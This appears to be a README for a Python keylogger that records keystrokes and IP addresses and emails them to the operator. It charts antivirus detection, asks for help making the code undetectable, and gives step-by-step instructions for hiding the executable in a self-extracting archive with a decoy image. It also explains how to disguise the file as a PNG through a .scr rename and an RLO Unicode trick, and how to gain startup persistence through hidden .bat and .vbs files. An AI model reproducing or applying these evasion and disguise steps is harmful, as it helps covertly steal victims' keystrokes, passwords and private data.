Keylogger made with python that records keys and sends them to an email address, also supports IP logging.
It aims for stability, open source, and in constant updates
❌ = Undetected
✔ = Detected
Antivirus | Status |
---|---|
Windows Defender | ❌ |
Quick Heal | ❌ |
Bitdefender | ✔ |
Any help in making the code undetectable is welcome. I need help testing the code on other operating systems and antiviruses
- pynput
- requests
Make sure to enter your email address and password for sending and receiving emails in the keylogger.py file
In prompt enter: pip install pyinstaller
With prompt opened in the same directory of example.py type:
pyinstaller --noconsole --onefile example.py
- noconsole: does not show the console when the executable is launched
- onefile: create a single executable file, containing all the necessary libraries, etc.
- Select all the files files
(image.jpg, keylogger.vbs, keylogger.bat, keylogger.exe)
and pressAdd to an archive
options from WinRAR - Check "Create SFX archive"
- "Advanced" tab -> press "SFX options"
Setup
-> In "Run after extraction" write:image.jpg keylogger.vbs keylogger.exe
Modes
-> Check "Unpack to temporary folder", select "Hide all"(OPTIONAL but reccommended) Text and icon
-> "Load SFX icon from the file" to give a preview of the fileUpdate
-> Check "Overwrite all files"
- Confirm all
- Rename "example.exe" to "example.scr" (.scr keeps the same properties of .exe, but is less suspicious because it is shown as "screen saver")
- Rename adding "gnp" before ".scr" ("examplegnp.scr")
- Rename again, and, placing the cursor after "example" and before "gnp.scr" right click
- From the right-click menu choose
Insert Unicode control character
->RLO
(only "gnp.scr" part will be rotated showing "examplercs.png") - Save and make sure to NOT REMOVE "rcs" part, otherwise executable will not work!
The .bat file is used to clone the keylogger.exe file in the startup folder so that it starts every time you turn on your computer. The .vbs file, is simply used to call the .bat file without the prompt appearing, making the user suspicious.
In the future this will be probably simplified in a sigle file
- FIXED Slow and laggy typing while keylogger is active, will be fixed soon
- Still detected on many AV
Usage of the provided code is at your own risk. The author assumes no responsibility for any actions taken with the code. Please ensure compliance with applicable laws and use the code responsibly. ❗